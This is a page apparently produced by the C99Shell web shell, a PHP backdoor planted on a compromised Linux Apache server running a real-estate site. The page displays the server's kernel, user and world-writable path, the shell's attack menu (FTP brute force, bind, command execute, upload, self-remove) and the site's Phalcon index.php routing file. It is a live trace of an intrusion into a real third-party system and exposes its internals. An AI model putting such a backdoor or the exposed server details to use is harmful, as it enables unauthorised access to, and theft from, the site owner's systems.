!C99Shell v. 2.6 Mod (06.03.2026)!

Software: Apache. PHP/7.2.34 

uname -a: Linux li456-155.members.linode.com 3.10.0-1160.92.1.el7.x86_64 #1 SMP Tue Jun 20 11:48:01
UTC 2023 x86_64
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/TABASCO/AT_ADMIN/AT_MERCOTAB/public/   drwxrwxrwx
Free 1.75 GB of 47.23 GB (3.71%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Bind    Proc.    FTP brute    Sec.    SQL    PHP-code    Self remove    Logout    


Viewing file:     index.php (6.11 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php        
date_default_timezone_set
('America/Mexico_City');
//error_reporting(E_ERROR | E_WARNING | E_PARSE);
//error_reporting(E_ERROR);
ini_set('display_errors',false);
//error_reporting(1);
//error_reporting(E_ALL);

$di = new \Phalcon\DI\FactoryDefault();

$di->set('url', function(){
    
$url = new \Phalcon\Mvc\Url();
    if(
$_SERVER['REQUEST_SCHEME']=='https' && ($_SERVER['HTTP_HOST']=='dev.mercotab.mx' || $_SERVER['HTTP_HOST']=='admin.mercotab.mx' || $_SERVER['HTTP_HOST']=='mercotab.mx' || $_SERVER['HTTP_HOST']=='admin.nortoninmobiliaria.com' )){
        
$url->setBaseUri("https://".$_SERVER["SERVER_NAME"]."/");
    }else {
        
$url->setBaseUri("http://".$_SERVER["SERVER_NAME"]."/");
    }
    return 
$url;
});

$di->set('router', function(){

    
$router = new \Phalcon\Mvc\Router();

    
$router->setDefaultModule("frontend");

    
$router->add("/", array(
        
'module'=>'frontend',
        
'controller' => 'index',
        
'action' => 'index',
    ));
    
$router->add("/ficha", array(
        
'module'=>'frontend',
        
'controller' => 'index',
        
'action' => 'ficha',
    ));
    
$router->notFound(array(
        
'module' => 'frontend',
        
'controller' => 'index',
        
'action' => 'show404'
    
));

    
$router->add('/404/([0-9-a-zA-Z\-]+)', array(
        
'controller' => 'error',
        
'action' => 'inactivo',
        
'permalink' => 1
    
))->setName("controllers")->convert('action', function($action) {
        return \
Phalcon\Text::lower(\Phalcon\Text::camelize($action));
    });

    
$router->add('/([0-9-a-zA-Z\-]+)', array(
        
'controller' => 'index',
        
'action' => 1
    
))->setName("controllers")->convert('action', function($action) {
        return \
Phalcon\Text::lower(\Phalcon\Text::camelize($action));
    });
    
$router->add('/inmueble/([0-9-a-zA-Z\-]+)', array(
        
'controller' => 'index',
        
'action' => 'inmueble',
        
'permalink' => 1
    
))->setName("controllers")->convert('action', function($action) {
        return \
Phalcon\Text::lower(\Phalcon\Text::camelize($action));
    });

    
$router->add('/lista-inmuebles', array(
        
'controller' => 'index',
        
'action' => 'listapropiedades'
    
));
    
$router->add('/contacto', array(
        
'controller' => 'index',
        
'action' => 'contact'
    
));
    
$router->add('/desarrollos', array(
        
'controller' => 'index',
        
'action' => 'desarrollos'
    
));
    
$router->add('/extrasoperations', array(
        
'controller' => 'index',
        
'action' => 'extrasoperations'
    
));
    
$router->add('/saveform', array(
        
'controller' => 'index',
        
'action' => 'saveform'
    
));
    
$router->add('/asesor', array(
        
'controller' => 'index',
        
'action' => 'asesor'
    
));

    
/* Dashboard */
    
$router->add("/dashboard", array(
        
'module'=>'dashboard',
        
'controller' => 'index',
        
'action' => 'index',
    ));
    
$router->add("/login", array(
        
'module'=>'dashboard',
        
'controller' => 'login',
        
'action' => 'index',
    ));
    
$router->add("/logout",array(
        
'module'=>'dashboard',
        
'controller' => 'login',
        
'action' => 'logout',
    ));
    
$router->add("/dashboard/clients",array(
        
'module'=>'dashboard',
        
'controller' => 'client',
        
'action' => 'index',
    ));
    
$router->add("/dashboard/inmuebles",array(
        
'module'=>'dashboard',
        
'controller' => 'inmueble',
        
'action' => 'index',
    ));
    
$router->add("/dashboard/inmobiliarias",array(
        
'module'=>'dashboard',
        
'controller' => 'company',
        
'action' => 'index',
    ));
    
$router->add("/dashboard/validateurl",array(
        
'module'=>'dashboard',
        
'controller' => 'index',
        
'action' => 'validateurl',
    ));
    
$router->add("/dashboard/users", array(
        
'module'=>'dashboard',
        
'controller' => 'user',
        
'action' => 'index',
    ));

    
$router->add("/dashboard/reports", array(
        
'module'=>'dashboard',
        
'controller' => 'report',
        
'action' => 'index',
    ));

    
$router->add("/dashboard/news", array(
        
'module'=>'dashboard',
        
'controller' => 'news',
        
'action' => 'index',
    ));
    
$router->add('/dashboard/([a-zA-Z\-]+)/([a-zA-Z\-]+)', array(
        
'module'=>'dashboard',
        
'controller' => 1,
        
'action' => 2,
    ))->
setName("controllers")->convert('action', function($action) {
            return \
Phalcon\Text::lower(\Phalcon\Text::camelize($action));
        });
    
$router->add('/dashboard/([a-zA-Z\-]+)/([a-zA-Z\-]+)/?([0-9a-zA-ZñÑ\-]*)?', array(
        
'module'=>'dashboard',
        
'controller' => 1,
        
'action' => 2,
        
'uid' => 3,
    ))->
setName("controllers")->convert('action', function($action) {
            return \
Phalcon\Text::lower(\Phalcon\Text::camelize($action));
    });
    
$router->add('/dashboard/client/([a-zA-Z\-]+)/?([0-9a-zA-ZñÑ\-]*)?', array(
        
'module'=>'dashboard',
        
'controller' => 'client',
        
'action' => 1,
        
'id' => 2,
    ))->
setName("controllers")->convert('action', function($action) {
            return \
Phalcon\Text::lower(\Phalcon\Text::camelize($action));
    });

    
$router->removeExtraSlashes(true);
    return 
$router;
});

$di->set('dispatcher', function() use ($di){
    
$dispatcher = new \Phalcon\Mvc\Dispatcher();
    
$eventsManager $di->getShared('eventsManager');
    
$security = new Security($di);

    
$eventsManager->attach('dispatch'$security);
    
$dispatcher->setEventsManager($eventsManager);

    return 
$dispatcher;
});

$di->set('session', function () {
    
$session = new Phalcon\Session\Adapter\Files();
    
$session->start();

    return 
$session;
});
$application = new \Phalcon\Mvc\Application();

$application->setDI($di);

$application->registerModules(array(
            
'frontend' => array(
                
'className' => 'Modules\Frontend\Module',
                
'path' =>'../apps/modules/frontend/Module.php'
            
),
            
'dashboard' => array(
                
'className' => 'Modules\Dashboard\Module',
                
'path' =>'../apps/modules/dashboard/Module.php'
            
)
        ));
echo 
$application->handle()->getContent();

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

c99shell Mod — c99shell.com © 2026
Generation time: 0.0065